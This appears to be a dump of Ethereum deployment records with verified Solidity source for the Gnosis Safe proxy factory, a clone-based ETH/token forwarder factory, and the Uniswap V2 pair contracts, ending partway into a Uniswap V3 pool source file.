/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
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|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,446 |
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|
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|
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|
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|
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|
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|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,502,446 |
96f6711a759424b3d5dbba49e4d885e8e764195c5d1a167e0f23d5e4ce87c743
|
2cd4d163852d56c5459766877ff0938af0dc0e95498eed53b54a03b313697783
|
1dc00b838bdbce4df7d7024b2502657cab8f3674
|
5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
|
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// File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
|
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|
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|
363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,448 |
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|
{{
"language": "Solidity",
"sources": {
"contracts/UniswapV3Pool.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity =0.7.6;\n\nimport './interfaces/IUniswapV3Pool.sol';\n\nimport './NoDelegateCall.sol';\n\nimport './libraries/LowGasSafeMath.sol';\nimport './libraries/SafeCast.sol';\nimport './libraries/Tick.sol';\nimport './libraries/TickBitmap.sol';\nimport './libraries/Position.sol';\nimport './libraries/Oracle.sol';\n\nimport './libraries/FullMath.sol';\nimport './libraries/FixedPoint128.sol';\nimport './libraries/TransferHelper.sol';\nimport './libraries/TickMath.sol';\nimport './libraries/LiquidityMath.sol';\nimport './libraries/SqrtPriceMath.sol';\nimport './libraries/SwapMath.sol';\n\nimport './interfaces/IUniswapV3PoolDeployer.sol';\nimport './interfaces/IUniswapV3Factory.sol';\nimport './interfaces/IERC20Minimal.sol';\nimport './interfaces/callback/IUniswapV3MintCallback.sol';\nimport './interfaces/callback/IUniswapV3SwapCallback.sol';\nimport './interfaces/callback/IUniswapV3FlashCallback.sol';\n\ncontract UniswapV3Pool is IUniswapV3Pool, NoDelegateCall {\n using LowGasSafeMath for uint256;\n using LowGasSafeMath for int256;\n using SafeCast for uint256;\n using SafeCast for int256;\n using Tick for mapping(int24 => Tick.Info);\n using TickBitmap for mapping(int16 => uint256);\n using Position for mapping(bytes32 => Position.Info);\n using Position for Position.Info;\n using Oracle for Oracle.Observation[65535];\n\n /// @inheritdoc IUniswapV3PoolImmutables\n address public immutable override factory;\n /// @inheritdoc IUniswapV3PoolImmutables\n address public immutable override token0;\n /// @inheritdoc IUniswapV3PoolImmutables\n address public 